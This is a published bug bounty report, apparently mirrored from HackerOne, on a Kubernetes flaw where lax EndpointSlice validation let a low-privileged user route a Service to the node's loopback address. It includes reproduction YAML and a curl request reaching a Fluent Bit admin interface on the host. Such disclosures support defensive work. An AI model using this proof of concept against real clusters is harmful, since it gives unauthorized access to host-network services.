Holes in EndpointSlice Validation Enable Host Network Hijack
EndpointSlice validation was more lenient than Endpoints validation, so a user who could create Services and EndpointSlices could point a service at a loopback address and an arbitrary port. This let them reach services bound to the host network, such as an admin interface, from inside a pod.
Originally disclosed on HackerOne
- Triaged in 7 days
- Fixed in 4 months
- Paid in 47 days
- Disclosed after 5 months
Summary:
A user with permission to create Services and EndpointSlices can configure these resources to allow sending traffic to arbitrary ports in the host network.
Kubernetes Version:
Any version with EndpointSliceProxying enabled, default in 1.19+
Component Version:
1.19+
Steps To Reproduce:
Apply YAML:
apiVersion: v1
kind: Service
metadata:
labels:
component: apiserver
name: hijack
namespace: attacker
spec:
ports:
- name: http
port: 2020
protocol: TCP
---
addressType: IPv4
apiVersion: discovery.k8s.io/v1beta1
endpoints:
- addresses:
- 127.0.0.1
conditions:
ready: true
kind: EndpointSlice
metadata:
labels:
kubernetes.io/service-name: hijack
name: hijack
namespace: attacker
ports:
- name: http
port: 2020
protocol: TCP
Inside a pod in the cluster, send a curl request to the service:
$ curl hijack.attacker:2020/api/v1/uptime
{"uptime_sec":57070,"uptime_hr":"Fluent Bit has been running: 0 day, 15 hours, 51 minutes and 10 seconds"}
Here I chose to reach the Fluent Bit admin interface running on port 2020 in the host network; any other services can also be hit by adding the port into the Service and EndpointSlice.
Supporting Material/References:
This vulnerability does not apply to Endpoints, which would reject this in validation: https://github.com/kubernetes/kubernetes/blob/a651804427dd9a15bb91e1c4fb7a79994e4817a2/pkg/apis/core/validation/validation.go#L5762.
However, EndpointSlice validation is more lenient: https://github.com/kubernetes/kubernetes/blob/a651804427dd9a15bb91e1c4fb7a79994e4817a2/staging/src/k8s.io/apimachinery/pkg/util/validation/validation.go#L356
Impact
User with permission to create Services and EndpointSlice, a relatively unprivileged role, can access arbitrary services in the host network.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the EndpointSlice validation did not apply the same restrictions as Endpoints validation, allowing loopback addresses and arbitrary ports to be registered.
Impact
A relatively unprivileged user could access arbitrary services in the host network, including admin interfaces not meant to be reachable from pods.
What the attacker needed
Permission to create Services; permission to create EndpointSlices; ability to run a pod in the cluster
How it was found
- Create a Service in a namespace the attacker controls, with a port of choice.
- Create an EndpointSlice labelled for that Service, listing the loopback address and the same port.
- From a pod in the cluster, send a request to the service name and port.
- Observe the response coming from a host-network service on that port.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Kubernetes lets you define a Service, which is a stable name for some network endpoints, and an EndpointSlice, which lists the actual addresses behind that name. The check on EndpointSlice entries was looser than the check on the older Endpoints object, so someone with only modest permissions could list the machine's own loopback address and any port. Traffic sent to that service then went to whatever was listening on the host itself, not to a normal pod.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.